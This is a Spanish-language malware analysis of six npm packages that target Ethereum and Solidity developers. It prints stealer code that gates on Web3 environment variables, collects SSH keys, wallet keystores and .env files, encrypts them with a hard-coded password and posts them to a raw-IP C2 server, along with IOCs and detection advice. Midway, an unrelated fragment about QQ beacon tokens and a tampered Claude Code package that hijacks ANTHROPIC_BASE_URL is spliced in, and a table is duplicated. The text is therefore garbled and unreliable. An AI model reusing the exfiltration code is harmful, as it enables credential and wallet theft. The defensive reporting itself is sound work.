TL; DR
El 6 de mayo de 2026, un único editor de npm, namikazesarada010206, distribuyó seis paquetes maliciosos dirigidos al ecosistema de desarrolladores de Ethereum, Solidity y DeFi.
Los paquetes, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils y web3-utils-core, utilizaron nombres plausibles diseñados para parecerse a bibliotecas auxiliares para herramientas populares de Web3.
Los seis paquetes contenían lo mismo. telemetry.js archivo. El archivo era idéntico byte a byte en todo el clúster, con SHA-256:
El malware no se ejecuta en el momento de la instalación. No hay preinstall or postinstall gancho. En cambio, se activa cuando el paquete se importa a través de require().
Ese detalle importa.
El implante espera hasta que un desarrollador utilice el paquete. Luego, comprueba si la estación de trabajo se asemeja a un entorno de desarrollo real de Ethereum/Solidity. Busca claves de Alchemy o Infura, claves privadas, mnemónicos, claves de despliegue o un directorio local de Foundry.
Si el host coincide, el ladrón recopila claves privadas SSH, almacenes de claves de billetera Foundry / Geth / Brownie, .env* archivos y variables de entorno sensibles. Cifra el paquete con AES-256-GCM usando una contraseña codificada y lo exfiltra a un punto final C2 IPv4 sin procesar con la verificación TLS deshabilitada.
El sistema de alerta temprana de malware (MEW) de Xygeni confirmó que los seis paquetes eran maliciosos. El informe de eliminación del registro de npm está pendiente.
El clúster: seis paquetes, un editor
La cuenta del editor namikazesarada010206 estaba vinculado a la dirección de Gmail no verificada namikazesarada010206@gmail.com.
La campaña apareció como una publicación de un solo día el 6 de mayo de 2026. Los seis paquetes fueron versionados como 1.0.0No tenía dependencias en tiempo de ejecución y solo enviaba tres archivos:
package.json
index.js
telemetry.jsTambién declararon el mismo repositorio de código fuente:
https://github.com/harunosakura030303-maker/evmchain-configLos tres primeros paquetes fueron detectados por los escáneres MEW en su primera publicación. Los tres restantes fueron marcados a la fuerza después de la revisión del perfil npm del editor por parte de un analista. Una vez que el mismo byte idéntico telemetry.js Se confirmó en todo el clúster y, por coherencia, se cerraron como maliciosos.
| PREMIUM | Versión | npm Publicado | Boleto MEW | Veredicto |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malicioso |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malicioso |
| utilidades principales del casco | 1.0.0 | 2026-05-06 | #51051 | Malicioso |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malicioso, por coherencia |
| utilidades de fundición | 1.0.0 | 2026-05-06 | #51071 | Malicioso, por coherencia |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malicioso, por coherencia |
La estrategia de nombres es sencilla pero eficaz.
Estos paquetes no imitan nombres exactos de la fuente original. En cambio, utilizan sufijos de "utilidad" plausibles como -core, -utils y -utils-coreEso hace que parezcan bibliotecas complementarias que un desarrollador esperaría encontrar cerca de las herramientas de Web3.
| Paquete malicioso | Objetivo legítimo |
|---|---|
| viem-core | viem, un popular cliente TypeScript para Ethereum. |
| viem-utils-core | viem |
| utilidades principales del casco | hardhat, un entorno de desarrollo Solidity convencional |
| evm-utils | Espacio de nombres de herramientas EVM genéricas |
| utilidades de fundición | fundición, un conjunto de herramientas de Solidity |
| web3-utils-core | web3-utils, herramientas de ayuda para Web3.js |
Este es el patrón del "paquete complementario": no "Yo soy el paquete principal", sino "Parece que soy un complemento razonable para el paquete principal".
Para los desarrolladores de DeFi que se mueven con rapidez, eso es suficiente para generar riesgos.
¿Qué sucede cuando se importa el paquete?
La cadena de ataque es pequeña, deliberada y se centra en entornos de desarrollo de criptomonedas.
No hay gancho de instalación. En cambio, cada paquete incluye un index.js que exporta funcionalidad básica y luego carga el módulo de telemetría malicioso.
require('./telemetry').init();Esto significa que el malware se activa en la primera importación.
Esto resulta útil para el atacante desde el punto de vista operativo. Muchos escáneres y entornos aislados se centran en el comportamiento durante la instalación. Este paquete espera hasta que un desarrollador, un script de compilación, un conjunto de pruebas o una ruta de ejecución lo utilicen realmente.
Puerta de activación: Disparar únicamente en estaciones de trabajo reales de desarrolladores Web3.
La parte más importante del implante es la puerta de activación.
El malware comprueba las variables de entorno que se encuentran habitualmente en las máquinas de los desarrolladores de Ethereum/Solidity:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);También comprueba si Foundry parece estar instalado:
fs.existsSync(path.join(os.homedir(), '.foundry'))Si ninguna de las dos condiciones se cumple, la función devuelve un valor y no hace nada.
Esto hace que el paquete sea más discreto en entornos de análisis genéricos. En un entorno aislado sin Foundry, claves de Alchemy, claves de Infura, claves privadas ni mnemónicos, la importación podría parecer inofensiva.
En un host compatible, el malware espera entre 60 y 90 segundos antes de recopilar la información:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();El retraso reduce la correlación obvia entre importación y exfiltración. .unref() Esta función también permite que el proceso anfitrión finalice normalmente si el paquete se importó en un script de corta duración.
No se trata de un robo ruidoso y sigiloso. Es un programa malicioso diseñado para evitar ejecutarse a menos que el entorno de desarrollo sea lo suficientemente valioso como para robar información.
Lo que el ladrón colecciona
Una vez superada la fase de activación, el malware recopila información de las fuentes más importantes en el desarrollo de Web3: claves privadas, almacenes de claves de monedero, credenciales de implementación, Secretos en la nube, tokens npm y configuración local del proyecto.
| Fuente | ¿Qué se recopila? |
|---|---|
| proceso.env | Cualquier variable que coincida con /TOKEN|Secreto|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Archivos que contienen PRIVATE KEY o BEGIN OPENSSH, incluyendo el contenido completo del archivo. |
| ~/.foundry/keystores/* | Archivos de almacén de claves de la billetera Foundry |
| ~/.ethereum/keystore/* | Archivos de almacén de claves de la billetera Geth |
| ~/.brownie/accounts/* | Archivos de almacén de claves de la billetera Brownie |
| ${cwd}/.env | Contenido completo del archivo |
| ${cwd}/.env.local | Contenido completo del archivo |
| ${cwd}/.env.production | Contenido completo del archivo |
| ${cwd}/.env.development | Contenido completo del archivo |
| os.hostname() | metadatos del host |
| cripto.randomUUID() | Identificador de víctima/sesión |
| Fecha.ahora() | Marca de tiempo de la colección |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comLos tokens ATTA son:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937No hemos podido confirmar si la telemetría correspondía a los análisis del propio operador o a un canal monetizado por separado. Los tokens ATTA son los mismos en ambas muestras que examinamos.
Grupo B: heibai
claude.hk Phishing de OAuth + Secuestro de ANTHROPIC_BASE_URL
La muestra del 1 de abril es la fase más rudimentaria y temprana de la campaña.
heibai:2.1.88-claude.hk-4 fue publicado por wuguoqiangvip28, una cuenta creada el 7 de junio de 2025. El paquete se versionó explícitamente a sí mismo en contra de la versión legítima. 2.1.88 Liberación antrópica.
No se preocupa por el ataque MITM con certificados CA. En cambio, miente al usuario sobre el punto final de OAuth.
Las adiciones maliciosas al código fuente filtrado de Claude Code incluyen:
| Fuente | ¿Qué se recopila? |
|---|---|
| proceso.env | Cualquier variable que coincida con /TOKEN|Secreto|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Archivos que contienen PRIVATE KEY o BEGIN OPENSSH, incluyendo el contenido completo del archivo. |
| ~/.foundry/keystores/* | Archivos de almacén de claves de la billetera Foundry |
| ~/.ethereum/keystore/* | Archivos de almacén de claves de la billetera Geth |
| ~/.brownie/accounts/* | Archivos de almacén de claves de la billetera Brownie |
| ${cwd}/.env | Contenido completo del archivo |
| ${cwd}/.env.local | Contenido completo del archivo |
| ${cwd}/.env.production | Contenido completo del archivo |
| ${cwd}/.env.development | Contenido completo del archivo |
| os.hostname() | metadatos del host |
| cripto.randomUUID() | Identificador de víctima/sesión |
| Fecha.ahora() | Marca de tiempo de la colección |
La lista de objetivos es muy específica. No se trata de robo genérico de navegador ni de extracción masiva de credenciales. Está dirigida a desarrolladores que crean, prueban, implementan u operan aplicaciones Ethereum.
La inclusión de los almacenes de claves de Foundry, Geth y Brownie es especialmente importante. Estos archivos pueden representar acceso directo a monederos o identidades de despliegue. Si el atacante logra combinarlos con contraseñas, mnemónicos o Secretos de entorno, podría transferir fondos, suplantar la identidad de los implementadores o comprometer las operaciones de los contratos inteligentes.
Cifrado antes de la exfiltración
El programa malicioso cifra los datos recopilados antes de enviarlos.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);La contraseña codificada es:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dLa carga útil final está encapsulada en formato JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}El cifrado no hace que el malware sea más avanzado por sí solo. Sin embargo, dificulta la inspección de la red. Un defensor que monitorea la salida vería una carga útil JSON, pero no las claves robadas, los archivos de billetera o .env Contenido sin la contraseña codificada ni la lógica de descifrado.
Exfiltración a un servidor C2 IPv4 sin procesar
La ruta de exfiltración está codificada de forma fija:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});El malware envía datos a:
https://76.13.37.80:8443/api/v1/telemetryDos detalles destacan.
En primer lugar, el servidor C2 es una dirección IPv4 sin procesar, en lugar de un dominio. Esto elimina la necesidad de registrar un dominio y evita algunas detecciones basadas en dominios.
En segundo lugar, la verificación TLS está deshabilitada con:
rejectUnauthorized: falseEsto permite que el malware acepte cualquier certificado, incluidos los autofirmados. En otras palabras, el atacante obtiene una transmisión cifrada sin necesidad de un certificado público válido.
No hay lógica de reintento ni servidor de respaldo. Los errores se ignoran silenciosamente. Esto evita que el paquete se active si el servidor C2 está fuera de línea o inaccesible.
Por qué es importante esta campaña
La mayoría de los paquetes npm maliciosos dirigidos a desarrolladores buscan credenciales amplias: tokens npm, claves de AWS, tokens de GitHub o .npmrc archivos.
Esta campaña reduce el alcance del objetivo.
Busca señales de que la máquina pertenece a un desarrollador de Ethereum o Solidity. Luego extrae exactamente los activos que importan en ese entorno: almacenes de claves de billetera, claves privadas, mnemónicos, claves de despliegue, .env archivos y claves SSH.
Eso hace que la campaña sea más peligrosa para los equipos de Web3 que un ladrón genérico de npm.
Una infección exitosa podría revelar:
- Carteras de despliegue
- Claves de administración de contratos inteligentes
- Claves de proveedor RPC
- Credenciales de implementación en la nube
- tokens de publicación de npm
- Acceso SSH a la infraestructura de desarrollo o compilación
- Proyecto Secretos almacenado en
.envarchivos - Almacenes de claves de cartera para Foundry, Geth o Brownie
Los nombres de los paquetes también muestran una clara ingeniería social. Se dirigen al ecosistema de desarrolladores de Web3 mediante nombres de herramientas familiares: viem, hardhat, foundry, evm y web3.
El actor no necesita comprometer los proyectos reales. Solo necesita que un desarrollador instale lo que parece un paquete complementario razonable.
Indicadores de compromiso y detección
| Paquetes y editor | |
|---|---|
| Campo | Valor |
| editor npm | namikazesarada010206 |
| Correo electrónico del editor | namikazesarada010206@gmail.com |
| Correo Electrónico Verificado | No |
| SCM verificadas | No |
| Puntuación de reputación | 1.0 |
| Paquetes | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core |
| Source-Connect | Todos 1.0.0 |
| Repositorio de código fuente | https://github.com/harunosakura030303-maker/evmchain-config |
| Malicioso confirmado | Los seis paquetes |
| Network | |
|---|---|
| Tipo | Valor |
| Punto final C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| puerto C2 | 8443 / tcp |
| Comportamiento de TLS | Rechazar no autorizado: falso |
| Esquema de carga útil | {"v":2,"iv": ,"d": ,"t": } |
| Archivos y hashes | |
|---|---|
| Tipo | Valor |
| telemetría.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Diseño del paquete | package.json, index.js, telemetry.js |
| Recuento de archivos | 3 |
| Tamaño total aproximado | 3.4 KB |
Señales de activación
El malware comprueba las siguientes variables de entorno:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEYTambién comprueba lo siguiente:
~/.foundry/Rutas de hospedaje objetivo
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.developmentExpresión regular de colección
/TOKEN|Secreto|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNotas de detección
Varias reglas permiten detectar esta campaña sin necesidad de un análisis completo del comportamiento.
Primero, analice los archivos de bloqueo en busca de los seis nombres de paquetes maliciosos:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-coreCualquier partido en package-lock.json, yarn.lock, pnpm-lock.yaml o node_modules Los hechos históricos deben tratarse como un incidente grave.
En segundo lugar, supervise los procesos de Node.js que leen las rutas del almacén de claves de la cartera:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/Este comportamiento rara vez es legítimo para un paquete importado como dependencia auxiliar. Resulta especialmente sospechoso cuando va seguido de actividad de red saliente.
En tercer lugar, bloquee o genere alertas en las conexiones HTTPS a:
76.13.37.80:8443Especialmente cuando la ruta de la solicitud es:
/api/v1/telemetryEn cuarto lugar, busca paquetes npm que combinen estas características:
- Editor nuevo o de baja reputación
- Cuenta de Gmail no verificada
- nombre de paquete adyacente a Web3
- No hay historial de repositorio significativo
- Diseño de paquete pequeño
index.jsque carga un archivo de telemetría o auxiliar- Sin dependencias de tiempo de ejecución
- Recopilación de datos sensibles a las variables ambientales
- Acceso al almacén de claves de la cartera
Este patrón es más útil que un único IOC porque el siguiente paquete puede cambiar la dirección IP pero mantener la misma lógica de segmentación.
Lista de verificación de respuesta ante un compromiso
Si un desarrollador utilizó uno de los seis paquetes y su entorno coincidía con el umbral de activación, considere que la estación de trabajo está comprometida.
Esto incluye máquinas con Foundry instalado, claves de Alchemy o Infura en el entorno, claves privadas, mnemónicos o claves de despliegue.
Respuesta recomendada:
- Desconecta el host de la red.
- Preservar
node_modules, archivos de bloqueo, historial de shell y registros relevantes para análisis forenses. - Rote cada par de claves SSH en
~/.ssh/. - Gire las claves de la cartera para cada almacén de claves en
~/.foundry,~/.ethereumy~/.brownie. - Transfiere los fondos a nuevas carteras.
- Rotar cada Secreto almacenado en
.env*archivos en los repositorios en los que trabajó el desarrollador. - Rotar los Secretos del entorno que coincidan con la expresión regular de la colección, incluidas las claves de AWS, los tokens de npm, los tokens de despliegue, las claves de API, las claves privadas, las semillas y los mnemónicos.
- Realizar una auditoría de la actividad en la nube, npm, GitHub, el proveedor de RPC y la cadena de bloques desde la primera instalación del paquete.
- Reinstale el sistema operativo a la estación de trabajo antes de volver a usarla.
Lo que los defensores deben tener en cuenta
Esta campaña muestra cómo el typosquatting de npm está evolucionando en torno a ecosistemas de desarrolladores de alto valor.
El actor no necesitaba persistencia. No necesitaba ofuscación. Ni siquiera necesitaba ejecución en tiempo de instalación.
En cambio, se basaron en tres cosas:
- Nombres de paquetes Web3 plausibles
- Activación únicamente en máquinas reales de desarrollo de criptomonedas.
- Robo directo de los archivos y Secretos que más importan a los desarrolladores de Ethereum.
Eso hace que la campaña pase fácilmente desapercibida en un análisis general y resulte peligrosa cuando llega al entorno adecuado.
Para los equipos de Web3, la lección es clara: traten los nombres de las dependencias como parte de su modelo de amenazas. Un paquete que parece una herramienta inofensiva puede convertirse en la vía más rápida para comprometer la seguridad de su cartera digital.
Se ha informado al registro de npm. Actualizaremos esta publicación cuando se eliminen la cuenta de editor y los paquetes.
